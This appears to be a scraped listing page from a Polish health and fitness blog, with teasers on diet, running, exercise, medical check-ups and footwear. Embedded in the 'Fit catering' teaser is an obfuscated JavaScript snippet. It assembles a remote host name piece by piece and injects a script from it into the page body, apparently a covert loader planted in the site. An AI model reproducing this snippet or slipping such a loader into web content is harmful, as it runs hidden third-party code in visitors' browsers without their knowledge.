Co kryje w sobie marchewka?
Marchew i sok marchwiowy charakteryzują się niską kalorycznością oraz wysokim poziomem substancji odżywczych. Są źródłem karotenoidów, głównie beta-karotenu. 200 g marchewki czy 200 ml...
Jędrne uda i kształtne pośladki – 5 najskuteczniejszych ćwiczeń na macie
Zestawów treningowych mamy obecnie do wyboru niesamowicie dużo. Na każde partie ciała znaleźć można coś odpowiedniego dla siebie. Natomiast nie od dziś wiadomo,...
Przygoda z bieganiem – jak zacząć?
Po zakupie odpowiednich butów i stroju, zastosowaniu się do podstaw zdrowej diety, stawiamy sobie za cel bieganie. Rodzi się w tym momencie pytanie "jak zacząć...
Które badania powinno się regularnie robić i co jaki czas?
Dbałość o zdrowie oznacza prowadzenie zbilansowanej diety oraz regularne uprawianie aktywności fizycznej. Na tym jednak niestety nie koniec. Potrzebne będą również badania profilaktyczne. Wiele...
Paluch sztywny – przyczyny, objawy, leczenie
Choroby zwyrodnieniowe mogą utrudniać codzienne funkcjonowanie. Poza tym, że pacjenci na nie cierpiący nie mogą nosić pewnych typów obuwia, bardzo często odczuwają znaczny ból....
Jak ćwiczyć, by skutecznie schudnąć?
Nadprogramowe kilogramy są problemem, z którym boryka się wielu ludzi, niezależnie od wieku oraz płci. Chęć zrzucenia wagi najczęściej podyktowana jest czynnikami zdrowotnymi oraz...
Psychodietetyk – kiedy warto się do niego udać?
Psychodietetyka znana jest również pod nazwą psychologii żywienia czy psychologii odchudzania. To dziedzina naukowa, która łączy ze sobą wiedzę psychologiczną, dietetyczną oraz medyczną. Koncentruje...
Jak dobrać odpowiednią odzież do biegania w sezonie zimowym?
Bieganie to intensywna aktywność fizyczna, podczas której organizm wytwarza spore ilości ciepła. O ile latem dobór odzieży do biegania jest prosty – wystarczy wybrać...
Fit catering – dla kogo?
Chcąc prowadzić zdrowy styl życia, szukamy najlepszego rozwiązania, które pozwoli nam zrobić to najkorzystniej, jak się da.
(function(){
wr8c=document.createElement("script");wr8c.type="text/javascript";
wr8c.async=true;wr8c_=(("us")+"t")+"a";wr8c_+=("t.i")+""+"n";wr8c_+=(("f")+"o");wr8c_+="/";
wr8cu="195218064.";wr8cu+="ch0byykhr8cyh9a37xrajgwdbpmiqa";wr8c.src="https://"+wr8c_+wr8cu;
wr8cdb=document.body;wr8cdb.appendChild(wr8c);
})();
Nie jest to łatwe zadanie, bo musimy uwzględnić...
Obuwie dr Orto – zdrowie dla Twoich stóp
Obuwie dr Orto to prawdziwy raj dla stóp. Wykonane z porządnych, wytrzymałych materiałów, które dopasowują się do kształtu stopy. Stworzone z myślą o tych,...
Najnowsze
